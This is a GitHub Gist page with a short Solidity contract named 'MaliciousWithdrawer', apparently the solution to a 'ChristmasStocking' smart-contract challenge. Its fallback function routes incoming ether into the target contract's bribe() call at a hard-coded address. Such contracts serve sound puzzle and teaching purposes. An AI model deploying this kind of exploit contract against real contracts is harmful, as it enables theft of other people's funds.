-
-
Save NaoyaTabakomori/c0b1698e58a875b8f45af4f915817ef9 to your computer and use it in GitHub Desktop.
ChristmasStockingの解法(contranct)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.2; | |
contract ChristmasStockingInterface { | |
function deposit() payable public; | |
function bribe() payable public; | |
} | |
contract MaliciousWithdrawer { | |
address contractAddress = 0x408F56C4541BD00Ec836102d06F7Ee6A2A820678; | |
ChristmasStockingInterface christmasStocking = ChristmasStockingInterface(contractAddress); | |
function () payable external { | |
christmasStocking.bribe.value(msg.value)(); | |
} | |
function deposit() payable public { | |
christmasStocking.deposit.value(msg.value)(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment